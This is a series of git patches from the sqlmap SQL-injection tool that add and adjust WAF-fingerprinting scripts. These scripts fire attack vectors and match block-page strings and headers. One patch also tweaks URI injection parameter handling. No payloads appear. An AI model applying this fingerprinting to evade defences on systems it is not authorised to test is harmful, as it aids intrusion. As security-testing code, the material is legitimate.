a/txt/checksum.md5 b/txt/checksum.md5 index b0e4b75741d..72dff681531 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -af9f5e98db9e56caf828065cbadecc6f lib/core/settings.py +df03aea681ed80e9850697b60db1b0eb lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -419,7 +419,7 @@ af079de99a8ec6988d28aa4c0aa32cf9 waf/cloudbric.py 4254527ec80588f5289f56c7b52c4b30 waf/distil.py 886c6502a6a2aae49921efed8d439f7b waf/dotdefender.py a8412619d7f26ed6bc9e0b20a57b2324 waf/edgecast.py -b65877b412a4c648aa442116ef94e2af waf/expressionengine.py +5df01dde939c0d22bc163730873e9854 waf/expressionengine.py 588d2f9a8f201e120e74e508564cb487 waf/fortiweb.py 0e9eb20967d2dde941cca8c663a63e1f waf/generic.py 4ea580dd1b9679bd733866976ad5d81e waf/godaddy.py diff --git a/waf/expressionengine.py b/waf/expressionengine.py index 85befdc8422..d2cbf57d1a7 100644 --- a/waf/expressionengine.py +++ b/waf/expressionengine.py @@ -17,8 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) - retval = any((page or "").strip() == _ for _ in ("Invalid GET Data", "Invalid URI")) - retval |= re.search(r"\Aexp_last_", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None + retval = any((page or "").strip() == _ for _ in ("Invalid GET Data", "Invalid URI")) and re.search(r"\bexp_last_", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None if retval: break From c94bddd9248e14de4ed03b38708a58b92edb7f88 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 11 Jan 2019 22:33:08 +0100 Subject: [PATCH 043/800] Adding new WAF script --- lib/core/settings.py | 2 +- txt/checksum.md5 | 5 +++-- waf/kona.py | 3 +-- waf/urlmaster.py | 21 +++++++++++++++++++++ 4 files changed, 26 insertions(+), 5 deletions(-) create mode 100644 waf/urlmaster.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 32ce8db7c78..8872e837424 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.41" +VERSION = "1.3.1.42" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 72dff681531..b774dc306dc 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -df03aea681ed80e9850697b60db1b0eb lib/core/settings.py +da97136510824fdec55455dde8c674c3 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -429,7 +429,7 @@ fb6be55d21a70765e35549af2484f762 waf/__init__.py a3ee375714987acccc26d1b07c2e8af7 waf/isaserver.py ce9cf35919a92d65347bb74ca0c5c86f waf/jiasule.py f44ed04eeb4287c11ce277703ec7d72d waf/knownsec.py -d50d82bec48814eb5b699d302dbdae9a waf/kona.py +8c3977c543ca4ec6d4231f604217cf94 waf/kona.py d4f36e44f496f4d51baa3241eabc60fd waf/malcare.py 4397c299d27a500851726444fb89759e waf/modsecurity.py 78af8e791207db9723a14bddeb7524af waf/naxsi.py @@ -459,6 +459,7 @@ a840fcd2bb042694f9aab2859e7c9b30 waf/sonicwall.py 205beb7ed5e70119f8700a9e295b6a4a waf/tencent.py ef6f83952ce6b5a7bbb19f9b903af2b6 waf/teros.py ba0fb1e6b815446b9d6f30950900fc80 waf/trafficshield.py +1c15216824f96e23a76591ac29eb6d7d waf/urlmaster.py 876c746d96193071271cb8b7e00e1422 waf/urlscan.py 80314083009c87d32bf32d84e8bbb7be waf/varnish.py 455bb16f552e7943e0a5cf35e83a74ea waf/virusdie.py diff --git a/waf/kona.py b/waf/kona.py index be124a92c18..c6c8bfaf879 100644 --- a/waf/kona.py +++ b/waf/kona.py @@ -17,8 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = code in (400, 403, 501) and all(_ in (page or "") for _ in ("Access Denied", "You don't have permission to access", "on this server", "Reference")) - retval |= re.search(r"AkamaiGHost", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval = code >= 400 and re.search(r"AkamaiGHost", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None if retval: break diff --git a/waf/urlmaster.py b/waf/urlmaster.py new file mode 100644 index 00000000000..65d31c03bb0 --- /dev/null +++ b/waf/urlmaster.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Url Master SecurityCheck (iFinity/DotNetNuke)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, code = get_page(get=vector) + retval = code >= 400 and all(_ in (page or "") for _ in ("UrlMaster", "UrlRewriteModule", "SecurityCheck")) + if retval: + break + + return retval From 02d66db7e00134f31ddc285f239fb691a1b1babc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 11 Jan 2019 23:00:28 +0100 Subject: [PATCH 044/800] New WAF script (SiteGuard) --- lib/core/settings.py | 2 +- txt/checksum.md5 | 7 ++++--- waf/anquanbao.py | 2 -- waf/siteguard.py | 21 +++++++++++++++++++++ waf/sitelock.py | 2 +- 5 files changed, 27 insertions(+), 7 deletions(-) create mode 100644 waf/siteguard.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 8872e837424..2703a06aa42 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.42" +VERSION = "1.3.1.43" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index b774dc306dc..9b4c2dfd323 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -da97136510824fdec55455dde8c674c3 lib/core/settings.py +c6bb49602e081b6ad551053145b95f52 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -399,7 +399,7 @@ ca3ab78d6ed53b7f2c07ed2530d47efd udf/postgresql/windows/32/8.4/lib_postgresqlud d6f06b1463501392e7e578d511ffb4d8 waf/360.py 2d63c46bed78aec2966a363d5db800fd waf/aesecure.py b6bc83ae9ea69cf96e9389bde8250c7c waf/airlock.py -8dcba3e7509e87e7829f445299bd2d3b waf/anquanbao.py +34b8ec9f438d7daa56aa016e6c09fadb waf/anquanbao.py 7ab1a7cd51a02899592f4f755d36a02e waf/approach.py 425f2599f57ab81b4fff67e6b442cccc waf/armor.py 33b6e6793ed3add457d7c909ec599ad3 waf/asm.py @@ -451,7 +451,8 @@ d2d9718de217dd07d9e66b2e6ad61380 waf/safe3.py ac0728ddb7a15b46b0eabd78cd661f8c waf/secureiis.py ba37e1c37fa0e3688873f74183a9cb9c waf/senginx.py 2602a8baed4da643e606a379e4dc75db waf/shieldsecurity.py -24f1cc66625e58e4c91c0cb4364a2202 waf/sitelock.py +332f27cfa02abca513719851850c782e waf/siteguard.py +c842d298e61a87b32668c8402a0d87b5 waf/sitelock.py a840fcd2bb042694f9aab2859e7c9b30 waf/sonicwall.py 45683bfe7a428f47745416c727a789bd waf/sophos.py 4a11ba8e5f3995b35f5fc189b8c2692e waf/stackpath.py diff --git a/waf/anquanbao.py b/waf/anquanbao.py index c20934de71d..51a1eb19384 100644 --- a/waf/anquanbao.py +++ b/waf/anquanbao.py @@ -5,8 +5,6 @@ See the file 'LICENSE' for copying permission """ -import re - from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "Anquanbao Web Application Firewall (Anquanbao)" diff --git a/waf/siteguard.py b/waf/siteguard.py new file mode 100644 index 00000000000..9a0498fa56e --- /dev/null +++ b/waf/siteguard.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "SiteGuard (JP-Secure)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval = any(_ in (page or "") for _ in ("Powered by SiteGuard", "The server refuse to browse the page")) + if retval: + break + + return retval diff --git a/waf/sitelock.py b/waf/sitelock.py index 42cb0e76821..09d611f152c 100644 --- a/waf/sitelock.py +++ b/waf/sitelock.py @@ -15,7 +15,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) - retval |= any(_ in (page or "") for _ in ("SiteLock Incident ID", '')) + retval = any(_ in (page or "") for _ in ("SiteLock Incident ID", '')) if retval: break From 0a3144ebb5e2d70ada7be47f939771a43f0ee20e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 12 Jan 2019 00:15:13 +0100 Subject: [PATCH 045/800] New WAF script (Squarespace) --- lib/core/settings.py | 2 +- txt/checksum.md5 | 3 ++- waf/squarespace.py | 21 +++++++++++++++++++++ 3 files changed, 24 insertions(+), 2 deletions(-) create mode 100644 waf/squarespace.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 2703a06aa42..62b9cceb3ae 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.43" +VERSION = "1.3.1.44" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 9b4c2dfd323..4a3f65ae89d 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -c6bb49602e081b6ad551053145b95f52 lib/core/settings.py +b5217540e886d7e5f9eb813288401923 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -455,6 +455,7 @@ ba37e1c37fa0e3688873f74183a9cb9c waf/senginx.py c842d298e61a87b32668c8402a0d87b5 waf/sitelock.py a840fcd2bb042694f9aab2859e7c9b30 waf/sonicwall.py 45683bfe7a428f47745416c727a789bd waf/sophos.py +ed1ecabfa8396e70494b0a3d70a22eb1 waf/squarespace.py 4a11ba8e5f3995b35f5fc189b8c2692e waf/stackpath.py 74bd52941b606d15f1a6cdc7b52f761c waf/sucuri.py 205beb7ed5e70119f8700a9e295b6a4a waf/tencent.py diff --git a/waf/squarespace.py b/waf/squarespace.py new file mode 100644 index 00000000000..143b55bd693 --- /dev/null +++ b/waf/squarespace.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Squarespace Web Application Firewall (Squarespace)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval = all(_ in (page or "") for _ in ("BRICK-50", " @ ", "404 Not Found")) + if retval: + break + + return retval From 660036c38b730310a854815e64b2d2bd24105c0b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 12 Jan 2019 01:56:18 +0100 Subject: [PATCH 046/800] New WAF script --- extra/wafdetectify/wafdetectify.py | 0 lib/core/settings.py | 2 +- txt/checksum.md5 | 6 ++++-- waf/modsecurity.py | 2 +- waf/nginx.py | 21 +++++++++++++++++++++ waf/siteground.py | 21 +++++++++++++++++++++ 6 files changed, 48 insertions(+), 4 deletions(-) mode change 100644 => 100755 extra/wafdetectify/wafdetectify.py create mode 100644 waf/nginx.py create mode 100644 waf/siteground.py diff --git a/extra/wafdetectify/wafdetectify.py b/extra/wafdetectify/wafdetectify.py old mode 100644 new mode 100755 diff --git a/lib/core/settings.py b/lib/core/settings.py index 62b9cceb3ae..373bbf8af91 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.44" +VERSION = "1.3.1.45" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 4a3f65ae89d..ae19548e72f 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -b5217540e886d7e5f9eb813288401923 lib/core/settings.py +848552f020168105797ed2e9b7538666 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -431,10 +431,11 @@ ce9cf35919a92d65347bb74ca0c5c86f waf/jiasule.py f44ed04eeb4287c11ce277703ec7d72d waf/knownsec.py 8c3977c543ca4ec6d4231f604217cf94 waf/kona.py d4f36e44f496f4d51baa3241eabc60fd waf/malcare.py -4397c299d27a500851726444fb89759e waf/modsecurity.py +509af267f45485f3cb1c839fa040ff07 waf/modsecurity.py 78af8e791207db9723a14bddeb7524af waf/naxsi.py 504ade4d32bdbbd2932eebb07f57c3eb waf/netcontinuum.py 84e9c68b6ecffafb5ec8cd96acaf62b9 waf/newdefend.py +9217767400caaf2c09379b694e0038e5 waf/nginx.py d03dfe93a14c966b88f5baf59ce2b091 waf/ninjafirewall.py 69fc40e85751279e9018d643742db04e waf/nsfocus.py a59aff03a5b3fb40ea0feb3489677040 waf/onmessageshield.py @@ -451,6 +452,7 @@ d2d9718de217dd07d9e66b2e6ad61380 waf/safe3.py ac0728ddb7a15b46b0eabd78cd661f8c waf/secureiis.py ba37e1c37fa0e3688873f74183a9cb9c waf/senginx.py 2602a8baed4da643e606a379e4dc75db waf/shieldsecurity.py +fc21ce1e6e597e44818c03d9cb859e83 waf/siteground.py 332f27cfa02abca513719851850c782e waf/siteguard.py c842d298e61a87b32668c8402a0d87b5 waf/sitelock.py a840fcd2bb042694f9aab2859e7c9b30 waf/sonicwall.py diff --git a/waf/modsecurity.py b/waf/modsecurity.py index 4751b06da3a..0d5400b2764 100644 --- a/waf/modsecurity.py +++ b/waf/modsecurity.py @@ -18,7 +18,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) retval = re.search(r"Mod_Security|NOYB", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= any(_ in (page or "") for _ in ("This error was generated by Mod_Security", "One or more things in your request were suspicious", "rules of the mod_security module", "The page you are trying to access is restricted due to a security rule", "Protected by Mod Security")) + retval |= any(_ in (page or "") for _ in ("This error was generated by Mod_Security", "One or more things in your request were suspicious", "rules of the mod_security module", "Protected by Mod Security")) if retval: break diff --git a/waf/nginx.py b/waf/nginx.py new file mode 100644 index 00000000000..5e12122b6dd --- /dev/null +++ b/waf/nginx.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "NGINX Web Application Firewall (NGINX Inc.)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval = all(_ in (page or "") for _ in ("

403 Forbidden

", "
nginx
")) + if retval: + break + + return retval diff --git a/waf/siteground.py b/waf/siteground.py new file mode 100644 index 00000000000..ff6d2071328 --- /dev/null +++ b/waf/siteground.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "SiteGround Web Application Firewall (SiteGround)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, _ = get_page(get=vector) + retval = "The page you are trying to access is restricted due to a security rule" in (page or "") + if retval: + break + + return retval From 7cf4b0e1d2f69529f38b969a2cc22a963dbf87c0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 12 Jan 2019 02:38:54 +0100 Subject: [PATCH 047/800] Too generic (removing) --- lib/core/settings.py | 2 +- txt/checksum.md5 | 3 +-- waf/nginx.py | 21 --------------------- 3 files changed, 2 insertions(+), 24 deletions(-) delete mode 100644 waf/nginx.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 373bbf8af91..e59d51681d0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.45" +VERSION = "1.3.1.46" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index ae19548e72f..14b5ce27f3d 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -848552f020168105797ed2e9b7538666 lib/core/settings.py +0aa1b299611d496be282fd02f95f3cd4 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -435,7 +435,6 @@ d4f36e44f496f4d51baa3241eabc60fd waf/malcare.py 78af8e791207db9723a14bddeb7524af waf/naxsi.py 504ade4d32bdbbd2932eebb07f57c3eb waf/netcontinuum.py 84e9c68b6ecffafb5ec8cd96acaf62b9 waf/newdefend.py -9217767400caaf2c09379b694e0038e5 waf/nginx.py d03dfe93a14c966b88f5baf59ce2b091 waf/ninjafirewall.py 69fc40e85751279e9018d643742db04e waf/nsfocus.py a59aff03a5b3fb40ea0feb3489677040 waf/onmessageshield.py diff --git a/waf/nginx.py b/waf/nginx.py deleted file mode 100644 index 5e12122b6dd..00000000000 --- a/waf/nginx.py +++ /dev/null @@ -1,21 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from lib.core.settings import WAF_ATTACK_VECTORS - -__product__ = "NGINX Web Application Firewall (NGINX Inc.)" - -def detect(get_page): - retval = False - - for vector in WAF_ATTACK_VECTORS: - page, _, _ = get_page(get=vector) - retval = all(_ in (page or "") for _ in ("

403 Forbidden

", "
nginx
")) - if retval: - break - - return retval From d086b2aca02e07a91ff7d0bd6c765c8e12c8b07f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 12 Jan 2019 17:47:43 +0100 Subject: [PATCH 048/800] Minor update of WAF scripts --- lib/core/settings.py | 2 +- txt/checksum.md5 | 8 ++++---- waf/newdefend.py | 5 +++-- waf/safedog.py | 3 ++- waf/yundun.py | 3 ++- 5 files changed, 12 insertions(+), 9 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e59d51681d0..58a11dc5d61 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.46" +VERSION = "1.3.1.47" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 14b5ce27f3d..54adfe61277 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -0aa1b299611d496be282fd02f95f3cd4 lib/core/settings.py +5e0f2b028357ec0b63678438fca8c4d5 lib/core/settings.py a8a7501d1e6b21669b858a62e921d191 lib/core/shell.py 5dc606fdf0afefd4b305169c21ab2612 lib/core/subprocessng.py eec3080ba5baca44c6de4595f1c92a0d lib/core/target.py @@ -434,7 +434,7 @@ d4f36e44f496f4d51baa3241eabc60fd waf/malcare.py 509af267f45485f3cb1c839fa040ff07 waf/modsecurity.py 78af8e791207db9723a14bddeb7524af waf/naxsi.py 504ade4d32bdbbd2932eebb07f57c3eb waf/netcontinuum.py -84e9c68b6ecffafb5ec8cd96acaf62b9 waf/newdefend.py +96e1902b7e4297173d519b00c86f6a02 waf/newdefend.py d03dfe93a14c966b88f5baf59ce2b091 waf/ninjafirewall.py 69fc40e85751279e9018d643742db04e waf/nsfocus.py a59aff03a5b3fb40ea0feb3489677040 waf/onmessageshield.py @@ -446,7 +446,7 @@ ac60456fe7af4eb501d448910e98ee4b waf/radware.py 987389e4f403b7615d6d8006420a6260 waf/requestvalidationmode.py 8dae5619edafaaceccf1c4eb051c7d22 waf/rsfirewall.py d2d9718de217dd07d9e66b2e6ad61380 waf/safe3.py -4382cb217354d816580ee07178d0a8c7 waf/safedog.py +213062db202a6eb0939a6674f96be551 waf/safedog.py 34440ee94fcff88b4158e86635176547 waf/secureentry.py ac0728ddb7a15b46b0eabd78cd661f8c waf/secureiis.py ba37e1c37fa0e3688873f74183a9cb9c waf/senginx.py @@ -470,7 +470,7 @@ ba0fb1e6b815446b9d6f30950900fc80 waf/trafficshield.py 114000c53115fa8f4dd9b1b9122ec32a waf/watchguard.py a7b8c4c3d1463409e0e204932f0ddff0 waf/webknight.py ac9e4e3ced77012ed97284634a9ffc74 waf/wordfence.py -e16122cb40e5f3a66cba359cfb672bd2 waf/yundun.py +e69f77220558564785f0b3c961782a93 waf/yundun.py a560bee3e948b97af2c88805933dcaad waf/yunsuo.py c8b6517da2c8a28d474956e3a6b8c1ed waf/zenedge.py e68f399aeaa5b516f043af88dd4871a0 xml/banner/generic.xml diff --git a/waf/newdefend.py b/waf/newdefend.py index c96208a36b0..720d5544490 100644 --- a/waf/newdefend.py +++ b/waf/newdefend.py @@ -16,8 +16,9 @@ def detect(get_page): retval = False for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) - retval = re.search(r"newdefend", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + page, headers, _ = get_page(get=vector) + retval = re.search(r"NewDefend", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= any(_ in (page or "") for _ in ("/nd_block/", "http://www.newdefend.com/feedback/misinformation/")) if retval: break diff --git a/waf/safedog.py b/waf/safedog.py index 2e0f8fd0b32..91f2726c32f 100644 --- a/waf/safedog.py +++ b/waf/safedog.py @@ -16,10 +16,11 @@ def detect(get_page): retval = False for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) + page, headers, _ = get_page(get=vector) retval = re.search(r"WAF/2\.0", headers.get(HTTP_HEADER.X_POWERED_BY, ""), re.I) is not None retval |= re.search(r"Safedog", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retval |= re.search(r"safedog", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None + retval |= any(_ in (page or "") for _ in ("safedogsite/broswer_logo.jpg", "404.safedog.cn/sitedog_stat.html")) if retval: break diff --git a/waf/yundun.py b/waf/yundun.py index e9b57cac4ca..ac753ce9871 100644 --- a/waf/yundun.py +++ b/waf/yundun.py @@ -16,9 +16,10 @@ def detect(get_page): retval = False for vector in WAF_ATTACK_VECTORS: - _, headers, _ = get_page(get=vector) + page, headers, _ = get_page(get=vector) retval = re.search(r"YUNDUN", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retval |= re.search(r"YUNDUN", headers.get("X-Cache", ""), re.I) is not None + retval |= "Blocked by YUNDUN Cloud WAF" in (page or "") if retval: break From c0d4db3aba40c7f373b8895f334cd21e8569ebf3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 13 Jan 2019 12:07:46 +0100 Subject: [PATCH 049/800] URI injection patch (on request by @bojanisc) --- lib/core/agent.py | 2 +- lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 19b6a07b735..b20e368e216 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -107,7 +107,7 @@ def payload(self, place=None, parameter=None, value=None, newValue=None, where=N else: origValue = filter(None, (re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z")))[0].group(0) origValue = origValue[origValue.rfind('/') + 1:] - for char in ('?', '=', ':', ','): + for char in ('?', '=', ':', ',', '&'): if char in origValue: origValue = origValue[origValue.rfind(char) + 1:] elif place == PLACE.CUSTOM_POST: diff --git a/lib/core/settings.py b/lib/core/settings.py index 58a11dc5d61..315c58ad703 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.47" +VERSION = "1.3.1.48" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 54adfe61277..7da8b442314 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -27,7 +27,7 @@ eaccf6204d8c44cee9daba955af0c85e lib/controller/checks.py 3c18f0b1d1b9fda682201a264f170b31 lib/controller/controller.py e97a9d34fef5761a8eab6432ce3c7c53 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py -6da66134fec9d81492e5b7c7241fdbd9 lib/core/agent.py +ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py fdabbf8dda7277e5f4e3d0a6252cffb6 lib/core/bigarray.py 4706fb856c1662ef5afd747544d0d8cb lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py @@ -49,7 +49,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 9a7d68d5fa01561500423791f15cc676 lib/core/replication.py 